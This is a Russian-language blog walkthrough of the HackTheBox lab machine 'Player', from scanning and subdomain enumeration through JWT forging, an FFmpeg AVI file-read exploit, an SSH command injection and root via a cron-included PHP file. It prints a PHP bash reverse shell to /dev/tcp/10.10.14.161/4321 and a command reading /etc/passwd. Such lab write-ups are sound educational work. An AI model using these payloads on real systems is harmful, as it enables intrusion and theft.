![image](https://habrastorage.org/webt/bb/r0/b9/bbr0b9iushfrexjxkdevfryxjmo.png)
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье пройдем JWT, выполним такие веб-перечисления, как поиск дирректорий, поддоменов и файлов бэкапа, проэксплуатируем SSRF в кодере FFmpeg и RCE в SSH.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Разведка
Сканирование портов
Данная машиина имеет IP адрес 10.10.10.145, который я добавляю в /etc/hosts.
10.10.10.145 player.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.145 --rate=1000
![image](https://habrastorage.org/webt/p-/kc/xh/p-kcxho2ru_qgebovjk_qcpesiq.png)
Далее нужно собрать больше информации об известных портах. Для того используем nmap с параметром -А.
nmap -A player.htb -p22,80,6686
![image](https://habrastorage.org/webt/ym/go/nb/ymgonb33gvbuxfi6sxuyjkajpk0.png)
Таким образом на хосте работает SSH на портах 22 и 6686, а также веб-сервер Apache на 80.
Веб перечисления
Первым делом идем смотреть веб. Но увы, там ничего интересного.
![image](https://habrastorage.org/webt/oh/jr/bo/ohjrbobvhbqyl2c8vvonhoglhwa.png)
В таком случае обычно нужно сканировать дирректории. Для этого используем быстрый gobuster. В параметрах укаываем, что мы хотим сканировать дирректории (dir), указываем сайт (-u), список слов(-w), расширения, которые нас интересуют (-x), количество потоков (-t).
gobuster dir -t 128 -u http://player.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
Из данных дирректорий интересна launcher. Там написано, что это сервис для редактирования видео и нам требуется валидный email.
![image](https://habrastorage.org/webt/jp/no/bm/jpnobmm6lw-xeb7_ykrudxj9kjk.png)
Немного поигравшись с формой, заметил, что она отправляет данные на странинцу /launcher/dee8dc8a47256c64630d803a4c40786c.php, там проиходит проверка и редирект обратно.
![image](https://habrastorage.org/webt/tt/oi/px/ttoipxckuyhstzcqe-popoqwchc.png)
Из всего, что мы имеем, нам ничто и ничего не даст. Следующим этапом перечисления, является поиск поддоменов. С недавнего времени, после того как мне посоветовали использовать wfuzz, я использую его и советую то же самое остальным. Укаываем заголовок (-H), словарь (-w), URL (-u), и исключать код ответа 403 (--hc 403).
wfuzz -H 'HOST:FUZZ.player.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u player.htb --hc 403
![image](https://habrastorage.org/webt/wq/en/in/wqeninubpwhxzbccfj8j86hp4gu.png)
Таким образом, мы нашли три поддомена, которые тоже необходимо добавить в /etc/hosts.
10.10.10.145 dev.player.htb
10.10.10.145 staging.player.htb
10.10.10.145 chat.player.htb
На dev имеется только форма авторизации, на chat только бесполезный чат, а на staging форма для каких-то контактов.
![image](https://habrastorage.org/webt/-6/tp/fn/-6tpfnjqnnouopalozw-jr1xd0g.png)
![image](https://habrastorage.org/webt/pc/iw/ho/pciwhok-r54hnfehabmxt6zh_g4.png)
![image](https://habrastorage.org/webt/oz/5h/im/oz5himhvh82_re3xflvw-6ewdqu.png)
Немного потестировав форму, все что имеем — редирект на 501.php и какие-то данные с указанной ошибкой.
![image](https://habrastorage.org/webt/nd/74/jy/nd74jyppx_mm5mwq8ouhqenk3lc.png)
![image](https://habrastorage.org/webt/3q/p9/nv/3qp9nv083j13vup29ewzrwlayjg.png)
![image](https://habrastorage.org/webt/4p/ag/hx/4paghx3jgtbio0ii5icw_wfsmfs.png)
Но снова этого было мало. Далее, что я обычно забываю, решил проверить бэкапы фвйлов. Так был обнаружен /launcher/dee8dc8a47256c64630d803a4c40786c.php~
![image](https://habrastorage.org/webt/0a/o2/ns/0ao2nsdzknv6c-kysmofeneq1fm.png)
В данном коде происходит декодирование JWT(токена) и его проверка. В зависимости от проверки, происходит редирект на одну из страниц. Если токен не предоставлен, то нам его назначают.
Так как мы знаем ключ и итоговое значение, то можем закодировать его и получить валидный токен. Это можно сделать с помощью данного сайта.
![image](https://habrastorage.org/webt/nr/-m/w9/nr-mw9fadamuwv0ztqpfo5ze-fq.png)
Мы получаем закодированный токен. И подставляем его в запрос.
![image](https://habrastorage.org/webt/7d/6j/zg/7d6jzgcvhge3zezoxl3t0z1lgni.png)
![image](https://habrastorage.org/webt/0x/xx/59/0xxx59pasbeaw_etpf4n3dxxd5w.png)
В итоге нам предоставлена форма загрузки медиа файла. Загрузив картинку, нам предложили скачать медиал файл в формате AVI.
![image](https://habrastorage.org/webt/31/if/1m/31if1mhd0poc6kiv3ekoay0s0dm.png)
Entry Point
Так как из нашего файла создается AVI, можем использовать эксплоит, который позволяет читать файлы. Код можно взять здесь. Давайте проверим это и посмотрим файл /etc/passwd.
![image](https://habrastorage.org/webt/iw/ga/h4/iwgah4tm0hzz1op1issdxv0cecu.png)
Давайте проверим это и посмотрим файл /etc/passwd.
python3 gen_avi.py file:///etc/passwd passwd.avi
Скачав и открыв файл, наблюдаем файл /etс/passwd.
![image](https://habrastorage.org/webt/hx/bj/vn/hxbjvn1eoionvyyjvow0l-9v990.png)
Так как мы можем читать файлы, наужно собрать список тех, о которых мы знаем. Вспоминаем про ошибки в файле contact.php. Давайте прочитаем все указанные там файлы.
![image](https://habrastorage.org/webt/ux/j_/jn/uxj_jne-eu0hunadv08k5incsw0.png)
И в файле сontact ничего интересное, fix прочитать не удалось, а вот в service_config находим логин и пароль.
![image](https://habrastorage.org/webt/km/ws/ms/kmwsmsxv4eidorbqbj89dcdfp3k.png)
Попробуем войти с ними на dev.player.htb — данные не подходят, но есть еще два SSH. Порт 22 — неудача, а вот на 6686 получем шелл.
![image](https://habrastorage.org/webt/ji/jz/qa/jijzqasnvkzik7bnlitxchgcjj0.png)
USER
Но оболочка ограниченная, и я вспомнил про версию 7.2 и решил проверить эксплоиты.
![image](https://habrastorage.org/webt/wi/4x/76/wi4x76zif9q8z19o8i9nqt2vwzo.png)
Таким образом, если мы имеем учетные данные, то можем выполнить Command Injection.
![image](https://habrastorage.org/webt/kd/e9/ql/kde9ql_j-ypbpww0bcd47pgeujq.png)
![image](https://habrastorage.org/webt/kc/8y/xn/kc8yxngloakvlyoboxb4bxalhuw.png)
Также нам предоставляют список команд, для чтения и записи файлов. Читаем флаг пользователя.
![image](https://habrastorage.org/webt/ti/bq/fs/tibqfsyq88nlejyzwepkun1ujlq.png)
ROOT
Теперь у нас должно хватать прав прочитать fix.php
![image](https://habrastorage.org/webt/vp/jh/f2/vpjhf23ilb_hls61cdbu-02gmo0.png)
В нем находим интересные данные, которые уже подходят на dev.player.htb. И там находим проект.
![image](https://habrastorage.org/webt/y3/zx/l3/y3zxl3s7n0r0nvscxspha6kwv8k.png)
И данный файл доступен через при обращении к нему из внешней среды. То есть мы можем разместить шелл.
![image](https://habrastorage.org/webt/fn/mk/w0/fnmkw02ycqbdpfdr_nx9xpiagzo.png)
Для этого нужно открыть свой проект.
![image](https://habrastorage.org/webt/c4/8-/lc/c48-lc6ag3wyco_et3vpnimdoj0.png)
Далее создать файл со следующим шеллом.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.161/4321 0>&1'");
?>
![image](https://habrastorage.org/webt/zs/sw/rz/zsswrzlvqf3qtmiob4by4t4lv6m.png)
Теперь откроем сессию с помощью netcat.
nc -lvp 4321
Далее обратимся к нашему файлу.
![image](https://habrastorage.org/webt/0b/fz/ov/0bfzovw_lfi9g3pmm8f8x2mptg8.png)
![image](https://habrastorage.org/webt/mn/ah/0s/mnah0sqeoapkufudh8mhe7fmcdo.png)
Выполнив перечисления и проверив еще несколько вариантов, останавливаемся на проверке процессов. Благодаря pspy64 можно определить, что время от времени запускается скрипт buff.php причем с UID равным 0, т.е. от имени root.
![image](https://habrastorage.org/webt/zq/h_/bv/zqh_bvp5qq9ssck_c3lo34d1rxq.png)
Посмотрим, что делает скрипт.
![image](https://habrastorage.org/webt/bl/4y/fq/bl4yfqjtz1u4ua4hntefwnnmdkk.png)
При попытке дописать код в данный файл, сталкиваемся с проблемой — у нас нет прав.
![image](https://habrastorage.org/webt/54/mw/53/54mw53brppzgzamhmujxvaqu9cm.png)
Но в скрипте происходит инклуд другого файла, в который мы имеем право записи.
![image](https://habrastorage.org/webt/wz/i0/tn/wzi0tnmjpu6uagtf7se_wmctwr8.png)
Запишем уже испольованный нами шелл в этот файл, и в netcat ожидаем подключение.
![image](https://habrastorage.org/webt/ni/td/aw/nitdawhy84twnrr5apncrc_2yji.png)
Таким образом мы получаем максимальные привилегии.
Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
manoftheyear
Спасибо! Очень круто! Продолжайте.
А в hosts айпи машины вы добавили только для того чтобы поддомены просканировать, или есть ещё причины?